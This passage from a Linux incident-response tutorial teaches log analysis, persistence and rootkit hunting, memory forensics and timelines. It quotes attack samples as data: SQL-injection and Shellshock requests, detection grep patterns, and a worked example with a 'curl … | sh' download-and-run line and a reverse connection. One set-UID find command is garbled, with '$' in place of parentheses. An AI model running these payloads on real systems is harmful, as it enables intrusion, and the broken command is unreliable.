Web server access logs record one line per request. In the common "combined" format the fields are: client address, timestamp, request line, status code, response size in bytes, referrer and User-Agent.

<syntaxhighlight lang="text">
198.51.100.9 - - [10/Sep/2026:14:03:01 +0000] "GET /item.php?id=1%27%20UNION%20SELECT%20user,pass%20FROM%20users--%20- HTTP/1.1" 500 1024 "-" "sqlmap/1.7"
</syntaxhighlight>

Start with an overview, and then zoom in on one address:

<syntaxhighlight lang="bash">
LOG=/var/log/apache2/access.log # /var/log/nginx/access.log, or /var/log/httpd/access_log

awk '{print $1}' $LOG | sort | uniq -c | sort -nr | head # busiest clients
awk '{print $9}' $LOG | sort | uniq -c | sort -nr # status code counts
grep '^198.51.100.9 ' $LOG # everything one client did
</syntaxhighlight>

Attackers usually send their payload URL-encoded (<code>%27</code> is <code>'</code>, <code>%20</code> is a space). Decode the lines you are reading:

<syntaxhighlight lang="bash">
grep '^198.51.100.9 ' $LOG | python3 -c 'import sys,urllib.parse as u; [print(u.unquote(l),end="") for l in sys.stdin]'
</syntaxhighlight>

(A plain <code>+</code> in a query string can also mean a space; <code>unquote</code> leaves it alone so timestamps such as <code>+0000</code> stay readable.)

==== What common web attacks look like in the log ====

{| class="wikitable"
! Attack !! What to look for in the request !! Notes
|-
| SQL injection || <code>'</code> or <code>%27</code>, <code>UNION SELECT</code>, <code>OR 1=1</code>, <code>--</code>, or an automated-tool User-Agent such as <code>sqlmap</code> || A burst of <code>500</code> errors from one client while it probes is typical. A later run of <code>200</code> responses with unusually large sizes can mean data came back.
|-
| Cross-site scripting (XSS) || <code><script></code> or <code>%3Cscript</code>, <code>onerror=</code>, <code>javascript:</code> || Reflected XSS shows in the URL. Stored XSS is usually submitted in a POST body, which is not logged (see below).
|-
| Path traversal / file inclusion || <code>../</code>, <code>..%2f</code>, <code>%2e%2e</code>, or a path like <code>/etc/passwd</code> in a parameter || A <code>200</code> with a plausible response size means the file may have been returned.
|-
| Command injection || Shell metacharacters (<code>;</code>, <code>%3B</code>, backticks, <code>$(</code>) followed by commands like <code>wget</code>, <code>curl</code> or <code>/bin/sh</code> || Confirm with the process tree: did the web server user spawn anything?
|-
| Shellshock (CVE-2014-6271) || <code>() {</code> at the start of a header value, usually User-Agent, against a <code>/cgi-bin/</code> script || Old and long patched, but a good example: the attack rides in a header, not the URL.
|-
| Web shell upload || A POST to an upload form, then GET requests to a brand-new <code>.php</code> file in the upload directory || Look for files the application should not have created.
|-
| Scanning and reconnaissance || Many <code>404</code>s, requests for <code>/.env</code>, <code>/wp-login.php</code>, <code>/phpmyadmin</code>, or scanner User-Agents || Common and usually harmless on its own; it tells you who was looking, not who got in.
|}

<syntaxhighlight lang="bash">
# starting-point searches (expect some false positives; refine them as much as you can before you start trustung their results)
grep -iE "union.{1,10}select|sqlmap|%27" $LOG # SQL injection
grep -iE "<script|%3Cscript|onerror=" $LOG # XSS
grep -E "\.\./|%2e%2e|/etc/passwd" $LOG # path traversal
grep -E ' *\{' $LOG # Shellshock-style header
</syntaxhighlight>

'''Important limits of access logs.''' The server does not log '''POST bodies''' or, by default, most headers other than User-Agent and Referer. An injection sent by POST leaves only a bare <code>POST /login</code> line. To see those attacks you need application logs, database query logs, or a web application firewall (for example ModSecurity) that records rejected requests. Also, a <code>200</code> status only means the request was served, not that the attack worked, and a <code>500</code> does not mean it failed.

==== From a request to a compromise ====

A logged attack request proves that someone ''tried'' to attack. To decide whether it ''worked'', follow it into the rest of the system:

* Did a process appear in the tree, owned by the web server user (<code>www-data</code>, <code>apache</code>, <code>nginx</code>), just after the request timestamp?
* Is that process holding a network connection to an address that is not one of your users or dependencies?
* Are there new or modified files in the web root, <code>/tmp</code>, <code>/var/tmp</code> or <code>/dev/shm</code> from about the same time?
* Did the same client address go on to do anything else (a second request type, a login)?

<syntaxhighlight lang="bash">
# files in the web root changed in the last 2 days
sudo find /var/www -type f -mtime -2 -ls

# PHP files that call functions commonly used by web shells (often noisy)
sudo grep -RIlE "(eval|assert|system|passthru|shell_exec|proc_open)[[:space:]]*\(" /var/www --include=*.php
</syntaxhighlight>

== Step 3: What did they do? ==

=== Privilege escalation and account activity ===

<syntaxhighlight lang="bash">
sudo grep -E "sudo:|su\[|su:" /var/log/auth.log | grep -E "COMMAND=|session opened" # who ran what as root
sudo grep -E "useradd|usermod|groupadd|passwd\[" /var/log/auth.log # account changes
awk -F: '$3==0 {print $1}' /etc/passwd # accounts with UID 0 should be only "root"
sudo awk -F: '$2=="" {print $1}' /etc/shadow # accounts with an empty password
grep -vE '(nologin|false)$' /etc/passwd # accounts that can log in interactively
ls -l /etc/sudoers.d/; sudo grep -rvE '^\s*(#|$)' /etc/sudoers /etc/sudoers.d/
</syntaxhighlight>

A second UID-0 account, or a regular user suddenly present in <code>sudoers</code>, is a strong indicator. Attackers who want to blend in often reuse existing accounts rather than create obvious new ones, so also check that service accounts (such as <code>www-data</code> or <code>mysql</code>) still have a non-login shell and no usable password hash in <code>/etc/shadow</code>, and that nobody has been quietly added to a privileged group in <code>/etc/group</code>.

=== Command history ===

<syntaxhighlight lang="bash">
sudo sh -c 'ls -l /root/.bash_history /home/*/.bash_history' # empty? a symlink to /dev/null? recently truncated?
sudo sh -c 'cat /root/.bash_history /home/*/.bash_history'
</syntaxhighlight>

What to keep in mind about <code>.bash_history</code>:

* Bash writes history when a shell exits, so a session that is still open, or that was killed, may not be recorded yet. On a live system the missing commands are only in memory (see the <code>bash</code> plugin in [[#Going deeper: memory analysis with Volatility 3|the Volatility section]]).
* It has '''no timestamps''' by default (unless <code>HISTTIMEFORMAT</code> was set). To date a command, match it with other evidence:a log line, a file's timestamp, or a process start time. For example, a <code>useradd</code> in the history can be tied to the log entry for the new account and the modification time of <code>/etc/passwd</code>.
* It is a plain text file. Attackers can edit or delete it, clear it (<code>history -c</code>), unset <code>HISTFILE</code>, or link it to <code>/dev/null</code>. Older copies sometimes survive in the disk's unallocated space, so searching a disk image for typical command strings can recover deleted history.
* An ''empty or missing'' history on an account that is otherwise active is itself worth noting.

=== Other traces users leave behind ===

Interactive use of a Linux system leaves small traces in the user's home directory. Individually minor, they often fill in the story:

{| class="wikitable"
! File (in the user's home directory) !! What it can show
|-
| <code>.ssh/authorized_keys</code> || Keys that can log in ''to'' this account. Any key you do not recognize is a possible back door.
|-
| <code>.ssh/known_hosts</code> || Machines this user connected ''out to'' over SSH. It shows an SSH connection was made, not that the login succeeded. Entries can be hashed, hiding the addresses.
|-
| <code>.ssh/config</code> || Shortcuts, user names and jump hosts the user set up, which can reveal other systems they reach.
|-
| <code>.lesshst</code> || Search terms typed into the <code>less</code> pager, and commands run from inside it.
|-
| <code>.viminfo</code> || Files recently edited in <code>vim</code> (with the position in each), plus its search and command history.
|-
| <code>.local/share/recently-used.xbel</code> || Files opened through the desktop file manager, with timestamps (only on systems with a desktop).
|-
| <code>.local/share/Trash/</code> || Files deleted through the desktop; the <code>info/</code> folder records where each came from.
|-
| Browser profiles (Firefox, Chromium) || Browsing, downloads and saved sessions on desktop systems.
|}

=== The audit framework ===

If <code>auditd</code> is installed and configured, it is the best source for "who ran what." For example, with a rule that watches account files:

<syntaxhighlight lang="bash">
# in /etc/audit/rules.d/identity.rules
-w /etc/passwd -p wa -k identity
-w /etc/shadow -p wa -k identity

# later, when investigating
sudo ausearch -k identity -i # events that matched the rule, human-readable
sudo aureport -au # authentication summary

# the same tools can read logs copied off a machine or mounted from an image
sudo ausearch --if /mnt/data/var/log/audit -i -c useradd
</syntaxhighlight>

If keystroke (TTY) auditing was enabled, <code>aureport --tty</code> can show what was typed. Auditing has to be set up ''before'' the incident; it cannot reconstruct events that were never recorded.

== Step 4: Persistence ==

Attackers who got in once want to be able to get back in. Some do not bother (opportunistic cryptocurrency miners are sometimes dropped with no persistence at all), but many do. Check every place a program can be made to start again on its own:

<syntaxhighlight lang="bash"># scheduled tasks
cat /etc/crontab; ls -la /etc/cron.d /etc/cron.hourly /etc/cron.daily
sudo ls -la /var/spool/cron/crontabs/ # /var/spool/cron/ on RHEL family
sudo ls -la /var/spool/cron/atjobs/ 2>/dev/null # one-time "at" jobs (Debian/Ubuntu)
systemctl list-timers --all

# services and units
systemctl list-unit-files --state=enabled
sudo find /etc/systemd /usr/lib/systemd -type f -newermt "2026-09-01"
ls -la ~/.config/systemd/user 2>/dev/null

# SSH keys (any key listed here can log in as that user with no password)
sudo find / -xdev -name authorized_keys -exec ls -l {} \;
sudo sh -c 'cat /root/.ssh/authorized_keys /home/*/.ssh/authorized_keys' 2>/dev/null

# shell start-up files that run at every login
ls -la /etc/profile.d/ ~/.bashrc ~/.profile /root/.bashrc

# programs injected into every process (normally this file is absent or empty)
cat /etc/ld.so.preload 2>/dev/null</syntaxhighlight>

Older systems use init scripts under <code>/etc/init*</code> instead of (or as well as) systemd. And remember that an attacker who wants to be less obvious may leave the cron entry or service unit alone and instead modify a '''script that a legitimate task already runs'''. Look at what your scheduled tasks and services actually execute, not only at their configuration.

'''Back doors beyond start-up entries:''' a web shell in the web root; a replacement <code>sshd</code> with a built-in password; an extra UID 0 account; a service account given a password; an added <code>authorized_keys</code> line; a broadened <code>sudoers</code> entry; and the set-UID trick below.

'''Set-UID/set-GID programs.''' A program with the set-UID bit runs with its ''owner's'' privileges rather than the user's (this is how <code>passwd</code> can update <code>/etc/shadow</code>). An attacker with root can copy a shell, turn on the set-UID bit and leave it somewhere quiet; anyone who can run it (with <code>-p</code>, so it does not drop its privileges) is root again.

<syntaxhighlight lang="bash">
# set-UID / set-GID programs anywhere outside /usr (there should be very few)
sudo find / $ -path /proc -o -path /sys $ -prune -o -type f $ -perm -4000 -o -perm -2000 $ ! -path '/usr/*' -ls 2>/dev/null

# the full list of set-UID programs
sudo find / -xdev -perm -4000 -type f 2>/dev/null
</syntaxhighlight>

Compare the full list against a clean machine of the same OS, the same baseline-and-<code>diff</code> technique used on [[Intermediate Service Auditing]]. Also revisit [[#Where attackers stage files|where attackers stage files]]: names that imitate system files but sit in the wrong place, executables in <code>/tmp</code>, <code>/var/tmp</code> or <code>/dev/shm</code>, and dot-prefixed directories under <code>/usr</code>, <code>/var</code> or <code>/dev</code> are all worth a closer look.

=== A post-exploitation checklist ===

{| class="wikitable"
! Check !! How
|-
| New or unexpected SSH keys || Read every <code>authorized_keys</code>. If you find one, search your other machines for the same key.
|-
| Unexpected group members || Compare <code>/etc/group</code> against what you expect, especially groups named in <code>sudoers</code>.
|-
| Unlocked service accounts || Service accounts should have <code>nologin</code> (or <code>false</code>) as their shell and no valid password hash in <code>/etc/shadow</code>.
|-
| Extra UID 0 accounts || <code>awk -F: '$3==0' /etc/passwd</code>
|-
| Edited sudo rules || Read <code>/etc/sudoers</code> and <code>/etc/sudoers.d/</code> directly.
|-
| Unauthorized set-UID bits || The <code>find</code> commands above.
|}

== Step 5: Rootkits and tampering ==

A '''rootkit''' is malware built to hide itself and the attacker's other activity. Two kinds are common on Linux:

* '''User-space (library preload) rootkits''' install a malicious shared library and make every program load it (through <code>/etc/ld.so.preload</code> or the <code>LD_PRELOAD</code> variable), so that <code>ls</code>, <code>ps</code>, <code>ss</code> and friends quietly leave out the attacker's files, processes and connections. Older rootkits simply replaced those programs.
* '''Kernel-module (LKM) rootkits''' load a malicious kernel module that intercepts system calls (for example the ones that list directories or send signals) and can hide from the operating system itself. Older families such as t0rn hid their files in look-alike, dot-prefixed directories (for example under <code>/usr/src</code>) and included a helper that scrubbed matching lines from log files, but the ideas are the same today.

=== Signs something is being hidden ===

* Basic tools misbehave, disagree with each other, or stop working (<code>ls</code> or <code>ps</code> failing on an otherwise healthy system).
* A listening port shows in a port scan from another machine but not in <code>ss</code> on the host.
* Disk usage that does not add up, or CPU usage with no process to explain it.
* Logs with unexplained gaps, zero-length files (<code>/var/log/wtmp</code>, <code>btmp</code>) or timestamps that jump backwards.
* A "tainted" kernel: <code>cat /proc/sys/kernel/tainted</code> is non-zero. Legitimate causes exist (proprietary or out-of-tree drivers), so treat it as a reason to ask "which module?", it is not necessarily a verdict.

=== Detection tools ===

<syntaxhighlight lang="bash">
sudo apt install rkhunter chkrootkit # or dnf install on RHEL-family (EPEL)
sudo rkhunter --check --sk --rwo # run all checks; skip keypress prompts; report warnings only
sudo chkrootkit
</syntaxhighlight>

<code>rkhunter</code> and <code>chkrootkit</code> compare the system against known signatures and known-bad file locations and look for suspicious changes. Findings are logged (for rkhunter, in <code>/var/log/rkhunter.log</code>). They are a quick extra check, however they are not the main method. Treat their output as leads from which to begin searches:

* They are '''signature-based''': they recognize rootkits they already know about, so a clean report says little about new or custom tools (false negatives), and a warning does not prove a rootkit (false positives). <code>chkrootkit</code> in particular sees little development, and many investigators no longer rely on it.
* They run ''on'' the suspect system. Against a kernel-level rootkit, the tool is being lied to as well. Where it matters, examine the disk from trusted boot media or a copy of the disk image, and analyze memory from outside the machine (see [[#Going deeper: memory analysis with Volatility 3|Volatility]]).
* <code>rkhunter</code> is much more useful if you run <code>sudo rkhunter --propupd</code> on a known-clean system first, so later runs can detect changed files.

=== Verify installed files against the package manager ===

<syntaxhighlight lang="bash">
sudo apt install debsums && sudo debsums -c # Debian/Ubuntu: list installed files whose checksum changed
sudo rpm -Va # RHEL family: verify all packages
</syntaxhighlight>

A modified <code>/bin/ls</code>, <code>/usr/bin/ps</code> or <code>sshd</code> that does not match its package is a serious finding. (Configuration files legitimately differ, and a determined attacker can also tamper with the package database, so this is one more piece of evidence, not proof.)

=== Cross-checking tools against each other ===

Because a rootkit typically fools some tools but not others, disagreement is informative:

<syntaxhighlight lang="bash">
echo /usr/src/.* # the shell's own glob expansion; does it show entries ls hides?
ls /proc | grep -E '^[0-9]+$' | wc -l ; ps -e --no-headers | wc -l # process count via /proc vs via ps
sudo apt install unhide && sudo unhide proc # look for processes hidden from ps
lsmod # compare to a known-good machine's module list
</syntaxhighlight>

A statically linked tool (such as <code>busybox</code>, if installed) does not load shared libraries, so it is not fooled by a library-preload rootkit. Kernel-module rootkits are much harder to catch from inside the running system, which is why memory analysis is the stronger method.

=== Log tampering ===

<syntaxhighlight lang="bash">
ls -la /var/log # any log suddenly tiny, empty, or not modified when it should be?
journalctl --verify # consistency check of the journal files
</syntaxhighlight>

The best defense is a copy of the logs the attacker cannot reach: forward them to a remote log server (for example with <code>rsyslog</code>) so that deleting local lines does not delete the record.

== Going deeper: memory analysis with Volatility 3 ==

Why bother with memory? It is smaller than the disk (64 GB of RAM is far easier to collect and store than 2 TB of disk) and holds things a disk image does not: every running process (including hidden ones), network connections, the shell history of open sessions, loaded kernel modules, cached file contents, and sometimes encryption keys.

[https://github.com/volatilityfoundation/volatility3 Volatility 3] is the standard open-source framework for analyzing memory images. Its Linux support has one big obstacle.

=== The symbols problem ===

Volatility must know how the exact kernel that produced the image lays out its data in memory. That description is called a "symbol table" (or profile). Windows and macOS have few kernel versions, so ready-made ones exist. Linux has thousands of combinations (each distribution, each kernel update, each vendor's build options), and you may need a different symbol file for every machine in an investigation.

Making one requires the kernel built '''with debugging symbols''': a "debug" kernel package for the exact version (named with <code>-dbg</code> or <code>-dbgsym</code> depending on the distribution), which is large (gigabytes) and not always available (some distributions do not publish them, and end-of-life systems may have lost them). The Volatility documentation itself states that it may not be possible to find the right symbols for a Linux image. A community-maintained collection of ready-made symbol files exists (see the [https://volatility3.readthedocs.io/en/latest/symbol-tables.html symbol tables documentation]), so check it before building your own.

<syntaxhighlight lang="bash">
# 1. What kernel was running? (a banner is stored in memory)
vol -f memory.lime banners.Banners
strings -a memory.lime | grep PRETTY_NAME= # the distribution name, too

# 2. If you have the matching debug kernel (a large "vmlinux" file, hundreds of MB; a normal one is under ~10 MB)
sudo find / -name 'vmlinu*' -size +100M 2>/dev/null
file /usr/lib/debug/boot/vmlinux-5.10.0-21-amd64 # look for "with debug_info, not stripped"

# 3. Convert it into a symbol file and place it where Volatility looks
dwarf2json linux --elf /usr/lib/debug/boot/vmlinux-5.10.0-21-amd64 > vmlinux-5.10.0-21-amd64.json
cp vmlinux-5.10.0-21-amd64.json /path/to/volatility3/symbols/linux/
</syntaxhighlight>

If the debug kernel is present on the machine you are analyzing, you are very lucky. The command name (<code>vol</code>, <code>vol.py</code> or <code>vol3.py</code>) depends on how it was installed, and you can keep symbol files with the image by pointing Volatility at the current directory with <code>-s .</code>.

=== The plugins you will use most ===

Plugin names and output change between versions. List the current ones with <code>vol --help | grep linux.</code>. A good first test is <code>linux.pslist.PsList</code>: it is fast, and if it produces sensible output your image and symbols are working.

{| class="wikitable"
! Plugin !! What it answers
|-
| <code>linux.pslist.PsList</code> || What processes exist (PID, parent PID, name)?
|-
| <code>linux.psaux.PsAux</code> || The same, with each process's full command line.
|-
| <code>linux.pstree.PsTree</code> || The parent/child tree, useful for "how was this started?"
|-
| <code>linux.lsof.Lsof</code> || Which files does a process have open (add <code>--pid</code> to pick one)? Reveals executables and data in strange places.
|-
| <code>linux.elfs.Elfs</code> and <code>linux.proc.Maps</code> || Which executable and libraries a process loaded, and its memory segments (where injected code can appear).
|-
| <code>linux.sockstat.Sockstat</code> || Network connections and listeners (filter with <code>grep AF_INET</code> to skip the noisy local sockets).
|-
| <code>linux.bash.Bash</code> || Command history recovered from running shells, ''with timestamps''.
|-
| <code>linux.lsmod.Lsmod</code> || Loaded kernel modules (the ones that are not hidden).
|}

The <code>bash</code> plugin is often more valuable than the history file on disk, for two reasons: history in memory includes the current session's commands that have not been saved yet, and each command has a timestamp. When a shell starts, it loads the saved history, so the first block of lines all share the shell's start time; the lines after them, with different times, are what was typed in that session.

=== Hunting for rootkits in memory ===

<syntaxhighlight lang="bash">
vol -s . -f memory.lime linux.check_modules.Check_modules # kernel modules hidden from the normal module lists
vol -s . -f memory.lime linux.check_syscall.Check_syscall # system calls whose handlers have been replaced (hooks)
vol -s . -f memory.lime linux.check_creds.Check_creds # processes sharing credentials, a sign of credential tampering
</syntaxhighlight>

* <code>Check_modules</code> compares the several lists the kernel keeps of loaded modules and reports modules missing from some of them, the fingerprint of a module hiding itself. Expect the occasional false positive (for example a legitimate virtualization driver), so investigate everything. A rootkit that does not hide, instead using an ordinary name, is caught by comparing <code>Lsmod</code> output with a known-good machine.
* <code>Check_syscall</code> shows the system-call table. Depending on the version, it may not flag hooked entries directly, so a practical trick is to run it on a memory image from a clean machine of the same kernel and compare the two lists: anything present in one but not the other stands out. In one published example (a memory image infected with a known Linux rootkit), the entries that differed were for listing directories (which lets a rootkit hide files, and, because Linux exposes processes as files under <code>/proc</code>, hide processes too) and for sending signals.
* Other plugins (for example <code>Check_afinfo</code>, <code>Check_idt</code>, <code>Keyboard_notifiers</code>, <code>Tty_check</code>) look for network-structure tampering and keylogger techniques.

After that use YARA rules built from indicators you already have (the <code>YaraScan</code> plugin, or YARA directly), look at the <code>bash</code> history for the commands used to install the rootkit, and search the image with <code>strings</code>.

=== No symbol file? Quick triage instead ===

Even without Volatility working, a memory image can be mined. <code>strings</code> pulls out readable text, and [https://github.com/simsong/bulk_extractor bulk_extractor] finds and tallies URLs, addresses, e-mail addresses and domains, and extracts any network packets it finds.

<syntaxhighlight lang="bash">
strings -a memory.lime | gzip > memory.strings.gz # keep for context searches
bulk_extractor -o be-out memory.lime # the output folder must not already exist

head be-out/url_histogram.txt # start with the histograms: common URLs, IPs, domains
head be-out/ip_histogram.txt

# who was talking to whom, from packet fragments bulk_extractor recovered
tshark -n -r be-out/packets.pcap -Tfields -e ip.src -e tcp.srcport -e ip.dst -e tcp.dstport | sort | uniq -c | sort -nr | head
</syntaxhighlight>

Look for what does not belong: a strange URL, an address you do not recognize appearing many times in a row (like g00gle.com). Then search the saved strings around that item (<code>zgrep -F -C3 suspicious.example memory.strings.gz</code>) for context.

== Step 6: Building a timeline ==

Investigations get clear once events are in one ordered list. A '''timeline''' combines file timestamps (and, with more effort, log entries) into a single chronological view, so you can see the attacker moving through the system. It is one of the fastest ways to find intrusion artifacts.

=== Quick version ===

<syntaxhighlight lang="bash">
# every file changed on 10 Sep, oldest first: change time, modify time, owner, path
sudo find / -xdev -type f -newermt '2026-09-10 00:00' ! -newermt '2026-09-11 00:00' \
-printf '%C+ %T+ %u %p\n' | sort

stat /var/tmp/.cache/update # shows access, modify, change (and, on many filesystems, birth) times

# files changed after a file you already know the attacker touched
sudo find / -xdev -newer /etc/passwd -type f -ls 2>/dev/null
ls -lArt /etc # a directory sorted by modification time, oldest first
</syntaxhighlight>

=== The full method (The Sleuth Kit) ===

For a real investigation, use [https://www.sleuthkit.org/ The Sleuth Kit]. You collect the raw timestamps into a "body file" (named after an early forensic toolkit), then turn it into a sorted timeline. Here the file systems come from a disk image; on a live system, UAC has already collected a body file for you.

<syntaxhighlight lang="bash">
# 1. one body file per file system ("-m /" = the mount point prefix to put on each path)
fls -r -m / /dev/mapper/VOLUME_GROUP_NAME-root | gzip > bodyfile-root.gz
fls -o 2048 -r -m /boot /mnt/img/ewf1 | gzip > bodyfile-boot.gz # -o = the partition's start sector, from mmls

# 2. build a chronological CSV, in UTC, showing user and group names from the image (not your workstation)
zcat bodyfile-*.gz | mactime -d -y -p /mnt/data/etc/passwd -g /mnt/data/etc/group 2026-09-01 > timeline.csv
</syntaxhighlight>

Open the CSV in a spreadsheet or a timeline viewer. The date argument means "from this date forward"; use a range such as <code>2026-09-01..2026-09-15</code> to limit it further. Then start from '''pivot points''': places in the timeline you already have reason to look.

* The moment a suspicious executable was created (its birth or change time) and the directory it was installed in.
* Modification times on <code>/etc/passwd</code> and <code>/etc/shadow</code> if accounts were added.
* An alert, a log entry or a suspicious login.
* Files created just before a persistence mechanism (a cron entry, a service unit) was added.

=== Understanding Linux timestamps ===

Files have four time values:

{| class="wikitable"
! Name !! Meaning !! Notes
|-
| '''mtime''' (modified) || When the contents last changed || Easy for an attacker with root to set to any value with <code>touch -d</code>.
|-
| '''atime''' (accessed) || When the contents were last read or run || Linux usually mounts with <code>relatime</code>, which updates atime only if it is older than the mtime/ctime, or more than 24 hours old. So atime is updated only occasionally, but is still sometimes useful (for example on a rarely-used program the attacker dropped and ran). Your own investigation also changes atimes.
|-
| '''ctime''' (changed) || When the file's ''metadata'' last changed (permissions, owner, name, contents) || Normal tools cannot set it directly, so a file whose mtime says 2019 but whose ctime says last Tuesday has probably been "timestomped." But an attacker with root can still change it (by setting the system clock, or by editing the file system directly with a tool such as <code>debugfs</code>).
|-
| '''btime''' (birth/creation) || When the file was created || Recorded by ext4 and shown by <code>stat</code> ("Birth"); not available on every file system or tool.
|}

Timelines have limits. Timestamps are temporary: each file keeps only its latest values. If an attacker edits <code>/etc/shadow</code> and a user later changes a password, the attacker's timestamp is overwritten and your timeline has a hole. Normal system activity also updates timestamps. Administrators (and attackers with root) can change them at will. And you need to know what is normal to interpret them: a set-UID bit turned on for a shell is alarming; the same change to a package's own program during an update is not.

For those reasons, treat a timeline as '''a guide to evidence, not evidence itself'''. It points you to the files, logs and memory artifacts that you then examine and can report.

Some other useful timing facts:

* Work in one time zone (UTC is easiest). File systems store times in UTC, but command-line tools display them in your workstation's local time zone unless you tell them otherwise.
* The SSH host keys under <code>/etc/ssh</code> are usually created the first time a system boots. Their timestamps therefore hint at when the system was first started, useful for judging how old a system or a cloned image is. (Linux does not otherwise record an install date.)
* Check the system's own clock and time zone against its logs before you compare times across sources.

=== A note on deleted files ===

Recovering deleted files is harder on Linux than people expect. On ext4, deleting a file typically wipes the information that says where its data was stored, and XFS behaves similarly, so undeleting it is often impractical. It is far better to catch a malicious file while it still exists (or while a process still has it open: see [[#Reading the process list|reading the process list]] above) than to count on recovering it later. The internals of the ext4 and XFS file systems are a deep subject of their own; see the sources below if you need them.

== Worked example ==

''This is a made-up scenario (synthetic logs, documentation IP addresses) showing how the pieces fit together.''

'''Report:''' the web server is slow, and the monitoring tool flagged outbound traffic to an unfamiliar address.

'''1. Volatile state.''' The process tree shows a shell started by the web server, and a process nobody can identify:

<syntaxhighlight lang="text">
www-data 4108 apache2 -k start
www-data 4121 \_ sh -c curl -s http://203.0.113.50/u.sh | sh
www-data 4188 /var/tmp/.cache/update
</syntaxhighlight>

<syntaxhighlight lang="text">
$ sudo ss -tnp state established
Recv-Q Send-Q Local Address:Port Peer Address:Port Process
0 0 10.0.0.5:48822 203.0.113.50:4444 users:(("update",pid=4188,fd=3))
</syntaxhighlight>

Already there are three clues: a web-server child running a downloader, a program in a hidden directory under <code>/var/tmp</code>, and an outbound connection owned by that program.

'''2. Way in.''' The access log around the time process 4121 started (14:02 UTC) holds:

<syntaxhighlight lang="text">
198.51.100.7 - - [10/Sep/2026:14:02:11 +0000] "GET /cgi-bin/status.sh HTTP/1.1" 200 412 "-" "() { :;}; echo; /usr/bin/id"
</syntaxhighlight>

A <code>() {</code> in the User-Agent, sent to a CGI script, is a Shellshock attempt. The <code>200</code> and the timing (the shell appears seconds later) suggest it worked. The client address, <code>198.51.100.7</code>, is the same one that was guessing SSH passwords minutes earlier in <code>auth.log</code>, so the attacker was probing more than one way in.

'''3. Persistence.''' The cron directory for the web user contains a job that restarts the unknown program every minute:

<syntaxhighlight lang="text">
$ sudo cat /var/spool/cron/crontabs/www-data
* * * * * /var/tmp/.cache/update >/dev/null 2>&1
</syntaxhighlight>

Killing process 4188 alone would have accomplished nothing; it would have been relaunched within a minute. Before killing it, the analyst copies the program out of <code>/proc/4188/exe</code> and hashes it.

'''4. Timeline.'''

{| class="wikitable"
! Time (UTC) !! Event !! Source
|-
| 13:58 to 13:59 || Repeated SSH failures from 198.51.100.7, then a successful login as <code>deploy</code> || <code>auth.log</code>
|-
| 14:02 || Shellshock-style request against <code>/cgi-bin/status.sh</code> || <code>access.log</code>
|-
| 14:02 || <code>apache2</code> spawns a shell that downloads and runs a script || process tree
|-
| 14:03 || <code>/var/tmp/.cache/update</code> created; cron entry added || file times, crontab
|-
| 14:03 onward || Outbound connection to 203.0.113.50:4444 || <code>ss</code>
|}

'''5. Conclusions and open questions.''' The web server was compromised through a vulnerable CGI script, and there is persistence and an active outbound connection. Open questions: was the <code>deploy</code> SSH login also the attacker (check that account's history and keys)? What did the attacker reach with the web user's permissions? Is there any sign of privilege escalation to root (set-UID files, new accounts, a rootkit)? Until those are answered the machine cannot be considered clean.

== After the analysis ==

* '''Contain:''' isolate the host from the network (firewall rule or unplug) rather than powering it off, so volatile evidence is preserved until you have captured it.
* '''Eradicate and recover:''' if an attacker had root, or if you found a rootkit, the safest course is to rebuild the system from trusted media and restore data from a backup that pre-dates the compromise, rather than trying to clean it in place.
* '''Reset credentials and keys''' that were on the machine: passwords, SSH keys, API tokens, database passwords, TLS keys.
* '''Close the way in:''' patch the vulnerable software, disable unneeded services (see [[Introduction to Service Auditing]]), and tighten SSH (key-only login, no root login, rate limiting).
* '''Write it up:''' the timeline, what you found, what you did and what you could not determine. This is what turns an incident into a lesson.

== Quick reference: symptom to first check ==

{| class="wikitable"
! Symptom !! First place to look
|-
| Unexpected logins || <code>last -aiF</code>, <code>auth.log</code> (or <code>secure</code>), <code>journalctl -u ssh</code>
|-
| Web server slow or making outbound connections || Process tree (<code>ps --forest</code>), <code>ss -tnp</code>, web access and error logs
|-
| A process you cannot identify || <code>/proc/PID/exe</code> and <code>cwd</code>; is the executable deleted, under <code>/tmp</code>, <code>/var/tmp</code> or <code>/dev/shm</code>, or in a hidden directory?
|-
| A user or service you do not recognize || <code>/etc/passwd</code> (UID 0 and login shells), <code>/etc/shadow</code>, <code>sudoers</code>
|-
| A program that keeps coming back || <code>crontab</code>s, <code>systemctl list-timers</code>, enabled unit files, shell start-up files, scripts those run
|-
| Someone can log in without a password || <code>authorized_keys</code> files, <code>sshd_config</code>
|-
| Commands behave strangely or disagree || <code>debsums</code> or <code>rpm -Va</code>, <code>/etc/ld.so.preload</code>, a memory image with Volatility, a trusted boot disk, <code>rkhunter</code> as a secondary check
|-
| Logs look too clean || File sizes and mtimes in <code>/var/log</code>, remote log server, <code>journalctl --verify</code>
|-
| "What happened, and in what order?" || A timeline: <code>find -printf</code> for a quick look, TSK <code>fls</code> plus <code>mactime</code> for a full one
|-
| Machine is off, or you have only a disk || Mount the image read-only (<code>ro,noexec,noload</code>) and work through steps 2 to 6 on the mount
|}

== Practicing safely ==

The safest way to learn this is on machines built for it. Use intentionally vulnerable practice applications such as DVWA or WebGoat, run inside an isolated virtual machine or container on a network that is not connected to anything you care about, then practice on the ''defender'' side: read the logs, process list and files that your own test attack left behind. Never point attack tools at systems you do not own or have written permission to test.

For disk-analysis practice there are also published sample Linux disk images, for example the set created by Ali Hadi's team at Champlain College for a digital forensics workshop, available from the [https://github.com/ashemery/LinuxForensics LinuxForensics repository on GitHub]. Check that repository's own terms before copying or redistributing anything from it.

== Credits and license ==

Parts of this page are adapted from ''Linux Forensics'' (version 3.0.2) by Hal Pomeranz, Copyright © Hal Pomeranz, distributed under the [https://creativecommons.org/licenses/by-sa/4.0/ Creative Commons Attribution-ShareAlike 4.0 International License]. The original course slides are available from the [https://archive.org/details/HalLinuxForensics Internet Archive].

== Sources and further reading ==

* Hal Pomeranz, [https://archive.org/details/HalLinuxForensics ''Linux Forensics'']. A full course covering the topics on this page in depth, including ext4 and XFS file system internals and deleted-file recovery.
* [https://attack.mitre.org/matrices/enterprise/linux/ MITRE ATT&CK: Linux matrix]. A catalog of attacker techniques (persistence, privilege escalation, defense evasion and more) with detection guidance.
* [https://csrc.nist.gov/pubs/sp/800/61/r3/final NIST SP 800-61 Rev. 3]. Incident response recommendations from the U.S. National Institute of Standards and Technology.
* [https://owasp.org/www-project-top-ten/ OWASP Top 10]. The most common web application risks, including injection.
* [https://nvd.nist.gov/vuln/detail/CVE-2014-6271 CVE-2014-6271 (Shellshock)] in the National Vulnerability Database.
